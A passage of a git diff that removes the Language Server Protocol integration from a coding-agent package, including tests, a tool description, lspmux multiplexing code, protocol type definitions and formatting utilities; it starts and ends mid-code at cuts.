d.message.includes("not assignable") || d.message.includes("Type"), - ); - assert.ok( - typeError, - `should find type error diagnostic, got: ${diagnostics.map((d) => d.message).join("; ")}`, - ); - }); - - // ---- Shutdown ---- - test("clean shutdown", async () => { - // Should not throw - await lsp.shutdown(); - }); -}); diff --git a/packages/pi-coding-agent/src/core/lsp/lsp-legacy-alias.test.ts b/packages/pi-coding-agent/src/core/lsp/lsp-legacy-alias.test.ts deleted file mode 100644 index 93fa56e90..000000000 --- a/packages/pi-coding-agent/src/core/lsp/lsp-legacy-alias.test.ts +++ /dev/null @@ -1,70 +0,0 @@ -// sf — Regression test for LSP legacy server key aliases -// Copyright (c) 2026 Jeremy McSpadden - -/** - * When a default server key is renamed (e.g., kotlin-language-server → kotlin-lsp), - * user overrides referencing the old key must still merge correctly via LEGACY_ALIASES. - * - * This test exercises the merge path through loadConfig() with a temp project - * containing an lsp.json that uses the legacy key. - */ - -import assert from "node:assert/strict"; -import * as fs from "node:fs"; -import * as os from "node:os"; -import * as path from "node:path"; -import { afterEach, beforeEach, describe, it } from "vitest"; -import { loadConfig } from "./config.js"; - -describe("LSP legacy server key aliases", () => { - let tmpDir: string; - - beforeEach(() => { - tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "lsp-alias-test-")); - }); - - afterEach(() => { - fs.rmSync(tmpDir, { recursive: true, force: true }); - }); - - it("merges user override with legacy key 'kotlin-language-server' into 'kotlin-lsp'", () => { - // Write an lsp.json that uses the old key name with a command that exists (node) - // so resolveCommand doesn't filter it out. - const overrideConfig = { - servers: { - "kotlin-language-server": { - command: "node", - }, - }, - }; - fs.writeFileSync( - path.join(tmpDir, "lsp.json"), - JSON.stringify(overrideConfig), - ); - - // Also add root markers so the server is detected - fs.writeFileSync(path.join(tmpDir, "build.gradle.kts"), ""); - - const config = loadConfig(tmpDir); - - // The merged config should have kotlin-lsp (new key) with the user's command override - const kotlinServer = config.servers["kotlin-lsp"]; - assert.ok(kotlinServer, "kotlin-lsp should exist in merged config"); - assert.equal( - kotlinServer.command, - "node", - "command should be overridden from user config via legacy alias", - ); - assert.ok( - kotlinServer.fileTypes.includes(".kt"), - "fileTypes should be inherited from defaults", - ); - - // The old key should NOT appear as a separate entry - assert.equal( - config.servers["kotlin-language-server"], - undefined, - "legacy key should not appear as separate server", - ); - }); -}); diff --git a/packages/pi-coding-agent/src/core/lsp/lsp.md b/packages/pi-coding-agent/src/core/lsp/lsp.md deleted file mode 100644 index 9a5123e8f..000000000 --- a/packages/pi-coding-agent/src/core/lsp/lsp.md +++ /dev/null @@ -1,39 +0,0 @@ -Interacts with Language Server Protocol servers for code intelligence. - - -- `diagnostics`: Get errors/warnings for file, glob, or entire workspace (no file) -- `definition`: Go to symbol definition → file path + position + 3-line source context -- `type_definition`: Go to symbol type definition → file path + position + 3-line source context -- `implementation`: Find concrete implementations → file path + position + 3-line source context -- `references`: Find references → locations with 3-line source context (first 50), remaining location-only -- `hover`: Get type info and documentation → type signature + docs -- `symbols`: List symbols in file, or search workspace (with query, no file) -- `incoming_calls`: Find all callers of a function → call sites with context -- `outgoing_calls`: Find all functions called by a function → callees with context -- `rename`: Rename symbol across codebase → preview or apply edits -- `code_actions`: List available quick-fixes/refactors/import actions; apply one when `apply: true` and `query` matches title or index -- `format`: Format file using language server formatter → applies edits in-place -- `signature`: Get function signature and parameter info at cursor position -- `status`: Show active language servers -- `reload`: Restart the language server - - - -- `file`: File path; for diagnostics it may be a glob pattern (e.g., `src/**/*.ts`) -- `line`: 1-indexed line number for position-based actions -- `symbol`: Substring on the target line used to resolve column automatically -- `occurrence`: 1-indexed match index when `symbol` appears multiple times on the same line -- `query`: Symbol search query, code-action kind filter (list mode), or code-action selector (apply mode) -- `new_name`: Required for rename -- `apply`: Apply edits for rename/code_actions (default true for rename, list mode for code_actions unless explicitly true) -- `tab_size`: Tab size for formatting (default: 4) -- `insert_spaces`: Use spaces for formatting (default: true) -- `timeout`: Request timeout in seconds (clamped to 5-60, default 20) - - - -- Requires running LSP server for target language -- Some operations require file to be saved to disk -- Diagnostics glob mode samples up to 20 files per request to avoid long-running stalls on broad patterns -- When `symbol` is provided for position-based actions, missing symbols or out-of-bounds `occurrence` values return an explicit error instead of silently falling back - diff --git a/packages/pi-coding-agent/src/core/lsp/lspmux.ts b/packages/pi-coding-agent/src/core/lsp/lspmux.ts deleted file mode 100644 index bd60a0dc2..000000000 --- a/packages/pi-coding-agent/src/core/lsp/lspmux.ts +++ /dev/null @@ -1,226 +0,0 @@ -import { spawn } from "node:child_process"; -import * as fsPromises from "node:fs/promises"; -import * as os from "node:os"; -import * as path from "node:path"; -import { - LSP_LIVENESS_TIMEOUT_MS, - LSP_STATE_CACHE_TTL_MS, -} from "../constants.js"; -import { which } from "./config.js"; - -/** - * lspmux integration for LSP server multiplexing. - * - * When lspmux is available and running, this module wraps supported LSP server - * commands to use lspmux client mode, enabling server instance sharing across - * multiple editor windows. - * - * Integration is transparent: if lspmux is unavailable, falls back to direct spawning. - */ - -// ============================================================================= -// Types -// ============================================================================= - -interface LspmuxConfig { - instance_timeout?: number; - gc_interval?: number; - listen?: [string, number] | string; - connect?: [string, number] | string; - log_filters?: string; - pass_environment?: string[]; -} - -interface LspmuxState { - available: boolean; - running: boolean; - binaryPath: string | null; - config: LspmuxConfig | null; -} - -// ============================================================================= -// Constants -// ============================================================================= - -const DEFAULT_SUPPORTED_SERVERS = new Set(["rust-analyzer"]); - -// ============================================================================= -// Config Path -// ============================================================================= - -function getConfigPath(): string { - const home = os.homedir(); - switch (os.platform()) { - case "win32": - return path.join( - process.env.APPDATA ?? path.join(home, "AppData", "Roaming"), - "lspmux", - "config.toml", - ); - case "darwin": - return path.join( - home, - "Library", - "Application Support", - "lspmux", - "config.toml", - ); - default: - return path.join( - process.env.XDG_CONFIG_HOME ?? path.join(home, ".config"), - "lspmux", - "config.toml", - ); - } -} - -// ============================================================================= -// State Management -// ============================================================================= - -let cachedState: LspmuxState | null = null; -let cacheTimestamp = 0; - -async function parseConfig(): Promise { - try { - const configPath = getConfigPath(); - // lspmux config uses TOML, but since we're stripping TOML support, - // attempt a simple key=value parse for the config file. - // If the config file exists but can't be parsed, return null. - try { - await fsPromises.access(configPath); - } catch { - return null; - } - // Config exists but we can't parse TOML without a dependency. - // Return an empty config object to indicate the file exists. - return {} as LspmuxConfig; - } catch { - return null; - } -} - -async function checkServerRunning(binaryPath: string): Promise { - try { - const proc = spawn(binaryPath, ["status"], { - stdio: ["ignore", "pipe", "pipe"], - // On Windows, the binary may be a .cmd wrapper requiring shell - // resolution to avoid ENOENT/EINVAL (#2854). - shell: process.platform === "win32", - }); - - const exited = await Promise.race([ - new Promise((resolve) => { - proc.on("exit", (code: number | null) => resolve(code ?? 1)); - }), - new Promise((resolve) => - setTimeout(() => resolve(null), LSP_LIVENESS_TIMEOUT_MS), - ), - ]); - - if (exited === null) { - proc.kill(); - return false; - } - - return exited === 0; - } catch { - return false; - } -} - -export async function detectLspmux(): Promise { - const now = Date.now(); - if (cachedState && now - cacheTimestamp < LSP_STATE_CACHE_TTL_MS) { - return cachedState; - } - - if ( - process.env.PI_DISABLE_LSPMUX === "1" || - process.env.SF_DISABLE_LSPMUX === "1" - ) { - cachedState = { - available: false, - running: false, - binaryPath: null, - config: null, - }; - cacheTimestamp = now; - return cachedState; - } - - const binaryPath = which("lspmux"); - if (!binaryPath) { - cachedState = { - available: false, - running: false, - binaryPath: null, - config: null, - }; - cacheTimestamp = now; - return cachedState; - } - - const [config, running] = await Promise.all([ - parseConfig(), - checkServerRunning(binaryPath), - ]); - - cachedState = { available: true, running, binaryPath, config }; - cacheTimestamp = now; - - return cachedState; -} - -// ============================================================================= -// Command Wrapping -// ============================================================================= - -export function isLspmuxSupported(command: string): boolean { - const baseName = command.split("/").pop() ?? command; - return DEFAULT_SUPPORTED_SERVERS.has(baseName); -} - -export interface LspmuxWrappedCommand { - command: string; - args: string[]; - env?: Record; -} - -function wrapWithLspmux( - originalCommand: string, - originalArgs: string[] | undefined, - state: LspmuxState, -): LspmuxWrappedCommand { - if (!state.available || !state.running || !state.binaryPath) { - return { command: originalCommand, args: originalArgs ?? [] }; - } - - if (!isLspmuxSupported(originalCommand)) { - return { command: originalCommand, args: originalArgs ?? [] }; - } - - const baseName = originalCommand.split("/").pop() ?? originalCommand; - const isDefaultRustAnalyzer = - baseName === "rust-analyzer" && originalCommand === "rust-analyzer"; - const hasArgs = originalArgs && originalArgs.length > 0; - - if (isDefaultRustAnalyzer && !hasArgs) { - return { command: state.binaryPath, args: [] }; - } - - const args = hasArgs ? ["client", "--", ...originalArgs] : ["client"]; - return { - command: state.binaryPath, - args, - env: { LSPMUX_SERVER: originalCommand }, - }; -} - -export async function getLspmuxCommand( - command: string, - args?: string[], -): Promise { - const state = await detectLspmux(); - return wrapWithLspmux(command, args, state); -} diff --git a/packages/pi-coding-agent/src/core/lsp/types.ts b/packages/pi-coding-agent/src/core/lsp/types.ts deleted file mode 100644 index 5fd22bb2f..000000000 --- a/packages/pi-coding-agent/src/core/lsp/types.ts +++ /dev/null @@ -1,471 +0,0 @@ -import type { ChildProcess } from "node:child_process"; -import { type Static, type TUnsafe, Type } from "@sinclair/typebox"; - -function StringEnum( - values: T, - options?: { description?: string; default?: T[number] }, -): TUnsafe { - return Type.Unsafe({ - type: "string", - enum: values as any, - ...(options?.description && { description: options.description }), - ...(options?.default && { default: options.default }), - }); -} - -// ============================================================================= -// Tool Schema -// ============================================================================= - -export const lspSchema = Type.Object({ - action: StringEnum( - [ - "diagnostics", - "definition", - "references", - "hover", - "symbols", - "rename", - "code_actions", - "type_definition", - "implementation", - "incoming_calls", - "outgoing_calls", - "format", - "signature", - "status", - "reload", - ], - { description: "LSP operation" }, - ), - file: Type.Optional(Type.String({ description: "File path" })), - line: Type.Optional(Type.Number({ description: "Line number (1-indexed)" })), - symbol: Type.Optional( - Type.String({ - description: - "Symbol/substring to locate on the line (used to compute column)", - }), - ), - occurrence: Type.Optional( - Type.Number({ - description: "Symbol occurrence on line (1-indexed, default: 1)", - }), - ), - query: Type.Optional( - Type.String({ description: "Search query or SSR pattern" }), - ), - new_name: Type.Optional(Type.String({ description: "New name for rename" })), - apply: Type.Optional( - Type.Boolean({ description: "Apply edits (default: true)" }), - ), - tab_size: Type.Optional( - Type.Number({ description: "Tab size for formatting (default: 4)" }), - ), - insert_spaces: Type.Optional( - Type.Boolean({ description: "Use spaces for formatting (default: true)" }), - ), - timeout: Type.Optional( - Type.Number({ description: "Request timeout in seconds" }), - ), -}); - -export type LspParams = Static; - -export interface LspToolDetails { - serverName?: string; - action: string; - success: boolean; - request?: LspParams; -} - -// ============================================================================= -// Core LSP Protocol Types -// ============================================================================= - -export interface Position { - line: number; - character: number; -} - -export interface Range { - start: Position; - end: Position; -} - -export interface Location { - uri: string; - range: Range; -} - -export interface LocationLink { - originSelectionRange?: Range; - targetUri: string; - targetRange: Range; - targetSelectionRange: Range; -} - -// ============================================================================= -// Diagnostics -// ============================================================================= - -export type DiagnosticSeverity = 1 | 2 | 3 | 4; // error, warning, info, hint - -export interface DiagnosticRelatedInformation { - location: Location; - message: string; -} - -export interface Diagnostic { - range: Range; - severity?: DiagnosticSeverity; - code?: string | number; - codeDescription?: { href: string }; - source?: string; - message: string; - tags?: number[]; - relatedInformation?: DiagnosticRelatedInformation[]; - data?: unknown; -} - -// ============================================================================= -// Text Edits -// ============================================================================= - -export interface TextEdit { - range: Range; - newText: string; -} - -export interface AnnotatedTextEdit extends TextEdit { - annotationId?: string; -} - -export interface TextDocumentIdentifier { - uri: string; -} - -export interface VersionedTextDocumentIdentifier - extends TextDocumentIdentifier { - version: number | null; -} - -export interface OptionalVersionedTextDocumentIdentifier - extends TextDocumentIdentifier { - version?: number | null; -} - -export interface TextDocumentEdit { - textDocument: OptionalVersionedTextDocumentIdentifier; - edits: (TextEdit | AnnotatedTextEdit)[]; -} - -// ============================================================================= -// Resource Operations -// ============================================================================= - -export interface CreateFileOptions { - overwrite?: boolean; - ignoreIfExists?: boolean; -} - -export interface CreateFile { - kind: "create"; - uri: string; - options?: CreateFileOptions; -} - -export interface RenameFileOptions { - overwrite?: boolean; - ignoreIfExists?: boolean; -} - -export interface RenameFile { - kind: "rename"; - oldUri: string; - newUri: string; - options?: RenameFileOptions; -} - -export interface DeleteFileOptions { - recursive?: boolean; - ignoreIfNotExists?: boolean; -} - -export interface DeleteFile { - kind: "delete"; - uri: string; - options?: DeleteFileOptions; -} - -export type DocumentChange = - | TextDocumentEdit - | CreateFile - | RenameFile - | DeleteFile; - -export interface WorkspaceEdit { - changes?: Record; - documentChanges?: DocumentChange[]; - changeAnnotations?: Record< - string, - { label: string; needsConfirmation?: boolean; description?: string } - >; -} - -// ============================================================================= -// Code Actions -// ============================================================================= - -export type CodeActionKind = - | "quickfix" - | "refactor" - | "refactor.extract" - | "refactor.inline" - | "refactor.rewrite" - | "source" - | "source.organizeImports" - | "source.fixAll" - | string; - -export interface Command { - title: string; - command: string; - arguments?: unknown[]; -} - -export interface CodeAction { - title: string; - kind?: CodeActionKind; - diagnostics?: Diagnostic[]; - isPreferred?: boolean; - disabled?: { reason: string }; - edit?: WorkspaceEdit; - command?: Command; - data?: unknown; -} - -export interface CodeActionContext { - diagnostics: Diagnostic[]; - only?: CodeActionKind[]; - triggerKind?: 1 | 2; // Invoked = 1, Automatic = 2 -} - -// ============================================================================= -// Symbols -// ============================================================================= - -export type SymbolKind = - | 1 // File - | 2 // Module - | 3 // Namespace - | 4 // Package - | 5 // Class - | 6 // Method - | 7 // Property - | 8 // Field - | 9 // Constructor - | 10 // Enum - | 11 // Interface - | 12 // Function - | 13 // Variable - | 14 // Constant - | 15 // String - | 16 // Number - | 17 // Boolean - | 18 // Array - | 19 // Object - | 20 // Key - | 21 // Null - | 22 // EnumMember - | 23 // Struct - | 24 // Event - | 25 // Operator - | 26; // TypeParameter - -export interface DocumentSymbol { - name: string; - detail?: string; - kind: SymbolKind; - tags?: number[]; - deprecated?: boolean; - range: Range; - selectionRange: Range; - children?: DocumentSymbol[]; -} - -export interface SymbolInformation { - name: string; - kind: SymbolKind; - tags?: number[]; - deprecated?: boolean; - location: Location; - containerName?: string; -} - -// ============================================================================= -// Hover -// ============================================================================= - -export interface MarkupContent { - kind: "plaintext" | "markdown"; - value: string; -} - -export type MarkedString = string | { language: string; value: string }; - -export interface Hover { - contents: MarkupContent | MarkedString | MarkedString[]; - range?: Range; -} - -// ============================================================================= -// Server Configuration -// ============================================================================= - -export interface ServerCapabilities { - flycheck?: boolean; - ssr?: boolean; - expandMacro?: boolean; - runnables?: boolean; - relatedTests?: boolean; -} - -export interface ServerConfig { - command: string; - args?: string[]; - fileTypes: string[]; - rootMarkers: string[]; - initOptions?: Record; - settings?: Record; - disabled?: boolean; - /** Per-server warmup timeout in milliseconds. */ - warmupTimeoutMs?: number; - capabilities?: ServerCapabilities; - /** If true, this is a linter/formatter server — used only for diagnostics/actions, not type intelligence */ - isLinter?: boolean; - /** Resolved absolute path to the command binary (set during config loading) */ - resolvedCommand?: string; -} - -// ============================================================================= -// Client State -// ============================================================================= - -export interface OpenFile { - version: number; - languageId: string; -} - -export interface PendingRequest { - resolve: (result: unknown) => void; - reject: (error: Error) => void; - method: string; -} - -export interface LspServerCapabilities { - renameProvider?: boolean | { prepareProvider?: boolean }; - codeActionProvider?: boolean | { resolveProvider?: boolean }; - hoverProvider?: boolean; - definitionProvider?: boolean; - referencesProvider?: boolean; - documentSymbolProvider?: boolean; - documentFormattingProvider?: boolean; - workspaceSymbolProvider?: boolean; - [key: string]: unknown; -} - -export interface LspClient { - name: string; - cwd: string; - config: ServerConfig; - proc: { - stdin: ChildProcess["stdin"]; - stdout: ChildProcess["stdout"]; - stderr: ChildProcess["stderr"]; - pid: number; - exitCode: number | null; - exited: Promise; - kill(signal?: number): void; - }; - requestId: number; - diagnostics: Map; - diagnosticsVersion: number; - openFiles: Map; - pendingRequests: Map; - messageBuffer: Buffer; - isReading: boolean; - serverCapabilities?: LspServerCapabilities; - lastActivity: number; - stderrBuffer: string; -} - -// ============================================================================= -// JSON-RPC Protocol Types -// ============================================================================= - -export interface LspJsonRpcRequest { - jsonrpc: "2.0"; - id: number; - method: string; - params: unknown; -} - -export interface LspJsonRpcResponse { - jsonrpc: "2.0"; - id?: number; - result?: unknown; - error?: { code: number; message: string; data?: unknown }; -} - -export interface LspJsonRpcNotification { - jsonrpc: "2.0"; - method: string; - params?: unknown; -} - -// ============================================================================= -// Call Hierarchy -// ============================================================================= - -export interface CallHierarchyItem { - name: string; - kind: SymbolKind; - tags?: number[]; - detail?: string; - uri: string; - range: Range; - selectionRange: Range; - data?: unknown; -} - -export interface CallHierarchyIncomingCall { - from: CallHierarchyItem; - fromRanges: Range[]; -} - -export interface CallHierarchyOutgoingCall { - to: CallHierarchyItem; - fromRanges: Range[]; -} - -// ============================================================================= -// Signature Help -// ============================================================================= - -export interface ParameterInformation { - label: string | [number, number]; - documentation?: string | MarkupContent; -} - -export interface SignatureInformation { - label: string; - documentation?: string | MarkupContent; - parameters?: ParameterInformation[]; - activeParameter?: number; -} - -export interface SignatureHelp { - signatures: SignatureInformation[]; - activeSignature?: number; - activeParameter?: number; -} diff --git a/packages/pi-coding-agent/src/core/lsp/utils.ts b/packages/pi-coding-agent/src/core/lsp/utils.ts deleted file mode 100644 index bbe600024..000000000 --- a/packages/pi-coding-agent/src/core/lsp/utils.ts +++ /dev/null @@ -1,779 +0,0 @@ -import * as fsPromises from "node:fs/promises"; -import { glob } from "node:fs/promises"; -import path from "node:path"; -import { isEnoent } from "./helpers.js"; -import type { - CallHierarchyItem, - CodeAction, - Command, - Diagnostic, - DiagnosticSeverity, - DocumentSymbol, - Location, - MarkupContent, - SignatureHelp, - SymbolInformation, - SymbolKind, - WorkspaceEdit, -} from "./types.js"; - -// ============================================================================= -// Language Detection -// ============================================================================= - -const LANGUAGE_MAP: Record = { - // TypeScript/JavaScript - ".ts": "typescript", - ".tsx": "typescriptreact", - ".js": "javascript", - ".jsx": "javascriptreact", - ".mjs": "javascript", - ".cjs": "javascript", - ".mts": "typescript", - ".cts": "typescript", - - // Systems languages - ".rs": "rust", - ".go": "go", - ".c": "c", - ".h": "c", - ".cpp": "cpp", - ".cc": "cpp", - ".cxx": "cpp", - ".hpp": "cpp", - ".hxx": "cpp", - ".zig": "zig", - - // Scripting languages - ".py": "python", - ".rb": "ruby", - ".lua": "lua", - ".sh": "shellscript", - ".bash": "shellscript", - ".zsh": "shellscript", - ".fish": "fish", - ".pl": "perl", - ".php": "php", - - // JVM languages - ".java": "java", - ".kt": "kotlin", - ".kts": "kotlin", - ".scala": "scala", - ".groovy": "groovy", - ".clj": "clojure", - - // .NET languages - ".cs": "csharp", - ".fs": "fsharp", - ".vb": "vb", - - // Web - ".html": "html", - ".htm": "html", - ".css": "css", - ".scss": "scss", - ".sass": "sass", - ".less": "less", - ".vue": "vue", - ".svelte": "svelte", - - // Data formats - ".json": "json", - ".jsonc": "jsonc", - ".yaml": "yaml", - ".yml": "yaml", - ".toml": "toml", - ".xml": "xml", - ".ini": "ini", - - // Documentation - ".md": "markdown", - ".markdown": "markdown", - ".rst": "restructuredtext", - ".adoc": "asciidoc", - ".tex": "latex", - - // Other - ".sql": "sql", - ".graphql": "graphql", - ".gql": "graphql", - ".proto": "protobuf", - ".dockerfile": "dockerfile", - ".tf": "terraform", - ".hcl": "hcl", - ".nix": "nix", - ".ex": "elixir", - ".exs": "elixir", - ".erl": "erlang", - ".hrl": "erlang", - ".hs": "haskell", - ".ml": "ocaml", - ".mli": "ocaml", - ".swift": "swift", - ".r": "r", - ".R": "r", - ".jl": "julia", - ".dart": "dart", - ".elm": "elm", - ".v": "v", - ".nim": "nim", - ".cr": "crystal", - ".d": "d", - ".pas": "pascal", - ".pp": "pascal", - ".lisp": "lisp", - ".lsp": "lisp", - ".rkt": "racket", - ".scm": "scheme", - ".ps1": "powershell", - ".psm1": "powershell", - ".bat": "bat", - ".cmd": "bat", -}; - -/** - * Detect language ID from file path. - */ -export function detectLanguageId(filePath: string): string { - const ext = path.extname(filePath).toLowerCase(); - const basename = path.basename(filePath).toLowerCase(); - - if (basename === "dockerfile" || basename.startsWith("dockerfile.")) { - return "dockerfile"; - } - if (basename === "makefile" || basename === "gnumakefile") { - return "makefile"; - } - if (basename === "cmakelists.txt" || ext === ".cmake") { - return "cmake"; - } - - return LANGUAGE_MAP[ext] ?? "plaintext"; -} - -// ============================================================================= -// URI Handling (Cross-Platform) -// ============================================================================= - -export function fileToUri(filePath: string): string { - const resolved = path.resolve(filePath); - - if (process.platform === "win32") { - return `file:///${resolved.replace(/\\/g, "/")}`; - } - - return `file://${resolved}`; -} - -export function uriToFile(uri: string): string { - if (!uri.startsWith("file://")) { - return uri; - } - - let filePath = decodeURIComponent(uri.slice(7)); - - if ( - process.platform === "win32" && - filePath.startsWith("/") && - /^[A-Za-z]:/.test(filePath.slice(1)) - ) { - filePath = filePath.slice(1); - } - - return filePath; -} - -// ============================================================================= -// Diagnostic Formatting -// ============================================================================= - -const SEVERITY_NAMES: Record = { - 1: "error", - 2: "warning", - 3: "info", - 4: "hint", -}; - -function severityToString(severity?: DiagnosticSeverity): string { - return SEVERITY_NAMES[severity ?? 1] ?? "unknown"; -} - -export function sortDiagnostics(diagnostics: Diagnostic[]): Diagnostic[] { - return diagnostics.sort((a, b) => { - const aSeverity = a.severity ?? 1; - const bSeverity = b.severity ?? 1; - if (aSeverity !== bSeverity) return aSeverity - bSeverity; - const aLine = a.range.start.line; - const bLine = b.range.start.line; - if (aLine !== bLine) return aLine - bLine; - const aCol = a.range.start.character; - const bCol = b.range.start.character; - if (aCol !== bCol) return aCol - bCol; - return a.message.localeCompare(b.message); - }); -} - -function stripDiagnosticNoise(message: string): string { - return message - .split("\n") - .filter((line) => { - const trimmed = line.trim(); - if (trimmed.startsWith("for further information visit")) return false; - if (/^https?:\/\//.test(trimmed)) return false; - return true; - }) - .join("\n") - .trim(); -} - -export function formatDiagnostic( - diagnostic: Diagnostic, - filePath: string, -): string { - const severity = severityToString(diagnostic.severity); - const line = diagnostic.range.start.line + 1; - const col = diagnostic.range.start.character + 1; - const source = diagnostic.source ? `[${diagnostic.source}] ` : ""; - const code = diagnostic.code !== undefined ? ` (${diagnostic.code})` : ""; - const message = stripDiagnosticNoise(diagnostic.message); - - return `${filePath}:${line}:${col} [${severity}] ${source}${message}${code}`; -} - -const DIAG_PATH_RE = /^(.+?):(\d+:\d+\s+.*)$/; - -export function formatGroupedDiagnosticMessages(messages: string[]): string { - const diagnosticsByFile = new Map(); - const fileOrder: string[] = []; - const ungrouped: string[] = []; - - for (const msg of messages) { - const match = DIAG_PATH_RE.exec(msg); - if (!match) { - ungrouped.push(msg); - continue; - } - - const [, rawFilePath, rest] = match; - const filePath = rawFilePath.replace(/\\/g, "/"); - if (!diagnosticsByFile.has(filePath)) { - diagnosticsByFile.set(filePath, []); - fileOrder.push(filePath); - } - diagnosticsByFile.get(filePath)?.push(rest); - } - - if (diagnosticsByFile.size === 0) { - return ungrouped.join("\n"); - } - - const filesByDirectory = new Map(); - for (const filePath of fileOrder) { - const directory = path.dirname(filePath).replace(/\\/g, "/"); - if (!filesByDirectory.has(directory)) { - filesByDirectory.set(directory, []); - } - filesByDirectory.get(directory)?.push(filePath); - } - - const lines: string[] = []; - for (const [directory, directoryFiles] of filesByDirectory) { - if (directory === ".") { - for (const filePath of directoryFiles) { - if (lines.length > 0) { - lines.push(""); - } - lines.push(`# ${path.basename(filePath)}`); - for (const diagnostic of diagnosticsByFile.get(filePath) ?? []) { - lines.push(` ${diagnostic}`); - } - } - continue; - } - - if (lines.length > 0) { - lines.push(""); - } - lines.push(`# ${directory}`); - for (const filePath of directoryFiles) { - lines.push(`## └─ ${path.basename(filePath)}`); - for (const diagnostic of diagnosticsByFile.get(filePath) ?? []) { - lines.push(` ${diagnostic}`); - } - } - } - - if (ungrouped.length > 0) { - lines.push(""); - for (const msg of ungrouped) { - lines.push(msg); - } - } - - return lines.join("\n"); -} - -export function formatDiagnosticsSummary(diagnostics: Diagnostic[]): string { - const counts = { error: 0, warning: 0, info: 0, hint: 0 }; - - for (const d of diagnostics) { - const sev = severityToString(d.severity); - if (sev in counts) { - counts[sev as keyof typeof counts]++; - } - } - - const parts: string[] = []; - if (counts.error > 0) parts.push(`${counts.error} error(s)`); - if (counts.warning > 0) parts.push(`${counts.warning} warning(s)`); - if (counts.info > 0) parts.push(`${counts.info} info(s)`); - if (counts.hint > 0) parts.push(`${counts.hint} hint(s)`); - - return parts.length > 0 ? parts.join(", ") : "no issues"; -} - -// ============================================================================= -// Location Formatting -// ============================================================================= - -export function formatLocation(location: Location, cwd: string): string { - const file = path.relative(cwd, uriToFile(location.uri)); - const line = location.range.start.line + 1; - const col = location.range.start.character + 1; - return `${file}:${line}:${col}`; -} - -// ============================================================================= -// WorkspaceEdit Formatting -// ============================================================================= - -export function formatWorkspaceEdit( - edit: WorkspaceEdit, - cwd: string, -): string[] { - const results: string[] = []; - - if (edit.changes) { - for (const [uri, textEdits] of Object.entries(edit.changes)) { - const file = path.relative(cwd, uriToFile(uri)); - results.push( - `${file}: ${textEdits.length} edit${textEdits.length > 1 ? "s" : ""}`, - ); - } - } - - if (edit.documentChanges) { - for (const change of edit.documentChanges) { - if ("edits" in change && change.textDocument) { - const file = path.relative(cwd, uriToFile(change.textDocument.uri)); - results.push( - `${file}: ${change.edits.length} edit${change.edits.length > 1 ? "s" : ""}`, - ); - } else if ("kind" in change) { - switch (change.kind) { - case "create": - results.push( - `CREATE: ${path.relative(cwd, uriToFile(change.uri))}`, - ); - break; - case "rename": - results.push( - `RENAME: ${path.relative(cwd, uriToFile(change.oldUri))} -> ${path.relative(cwd, uriToFile(change.newUri))}`, - ); - break; - case "delete": - results.push( - `DELETE: ${path.relative(cwd, uriToFile(change.uri))}`, - ); - break; - } - } - } - } - - return results; -} - -// ============================================================================= -// Symbol Formatting -// ============================================================================= - -const SYMBOL_KIND_LABELS: Record = { - 1: "File", - 2: "Module", - 3: "Namespace", - 4: "Package", - 5: "Class", - 6: "Method", - 7: "Property", - 8: "Field", - 9: "Constructor", - 10: "Enum", - 11: "Interface", - 12: "Function", - 13: "Variable", - 14: "Constant", - 15: "String", - 16: "Number", - 17: "Boolean", - 18: "Array", - 19: "Object", - 20: "Key", - 21: "Null", - 22: "EnumMember", - 23: "Struct", - 24: "Event", - 25: "Operator", - 26: "TypeParameter", -}; - -export function symbolKindToIcon(kind: SymbolKind): string { - return `[${SYMBOL_KIND_LABELS[kind] ?? "?"}]`; -} - -export function formatDocumentSymbol( - symbol: DocumentSymbol, - indent = 0, -): string[] { - const prefix = " ".repeat(indent); - const icon = symbolKindToIcon(symbol.kind); - const line = symbol.range.start.line + 1; - const detail = symbol.detail ? ` ${symbol.detail}` : ""; - const results = [`${prefix}${icon} ${symbol.name}${detail} @ line ${line}`]; - - if (symbol.children) { - for (const child of symbol.children) { - results.push(...formatDocumentSymbol(child, indent + 1)); - } - } - - return results; -} - -export function formatSymbolInformation( - symbol: SymbolInformation, - cwd: string, -): string { - const icon = symbolKindToIcon(symbol.kind); - const location = formatLocation(symbol.location, cwd); - const container = symbol.containerName ? ` (${symbol.containerName})` : ""; - return `${icon} ${symbol.name}${container} @ ${location}`; -} - -export function filterWorkspaceSymbols( - symbols: SymbolInformation[], - query: string, -): SymbolInformation[] { - const needle = query.trim().toLowerCase(); - if (!needle) return symbols; - return symbols.filter((symbol) => { - const fields = [ - symbol.name, - symbol.containerName ?? "", - uriToFile(symbol.location.uri), - ]; - return fields.some((field) => field.toLowerCase().includes(needle)); - }); -} - -export function dedupeWorkspaceSymbols( - symbols: SymbolInformation[], -): SymbolInformation[] { - const seen = new Set(); - const unique: SymbolInformation[] = []; - for (const symbol of symbols) { - const key = [ - symbol.name, - symbol.containerName ?? "", - symbol.kind, - symbol.location.uri, - symbol.location.range.start.line, - symbol.location.range.start.character, - ].join(":"); - if (seen.has(key)) continue; - seen.add(key); - unique.push(symbol); - } - return unique; -} - -export function formatCodeAction( - action: CodeAction | Command, - index: number, -): string { - const kind = "kind" in action && action.kind ? action.kind : "action"; - const preferred = - "isPreferred" in action && action.isPreferred ? " (preferred)" : ""; - const disabled = - "disabled" in action && action.disabled - ? ` (disabled: ${action.disabled.reason})` - : ""; - return `${index}: [${kind}] ${action.title}${preferred}${disabled}`; -} - -export interface CodeActionApplyDependencies { - resolveCodeAction?: (action: CodeAction) => Promise; - applyWorkspaceEdit: (edit: WorkspaceEdit) => Promise; - executeCommand: (command: Command) => Promise; -} - -export interface AppliedCodeActionResult { - title: string; - edits: string[]; - executedCommands: string[]; -} - -function isCommandItem(action: CodeAction | Command): action is Command { - return typeof action.command === "string"; -} - -export async function applyCodeAction( - action: CodeAction | Command, - dependencies: CodeActionApplyDependencies, -): Promise { - if (isCommandItem(action)) { - await dependencies.executeCommand(action); - return { - title: action.title, - edits: [], - executedCommands: [action.command], - }; - } - - let resolvedAction = action; - if (!resolvedAction.edit && dependencies.resolveCodeAction) { - try { - resolvedAction = await dependencies.resolveCodeAction(resolvedAction); - } catch { - // Resolve is optional; continue with unresolved action. - } - } - - const edits = resolvedAction.edit - ? await dependencies.applyWorkspaceEdit(resolvedAction.edit) - : []; - const executedCommands: string[] = []; - if (resolvedAction.command) { - await dependencies.executeCommand(resolvedAction.command); - executedCommands.push(resolvedAction.command.command); - } - - if (edits.length === 0 && executedCommands.length === 0) { - return null; - } - - return { title: resolvedAction.title, edits, executedCommands }; -} - -const GLOB_PATTERN_CHARS = /[*?[{]/; - -export function hasGlobPattern(value: string): boolean { - return 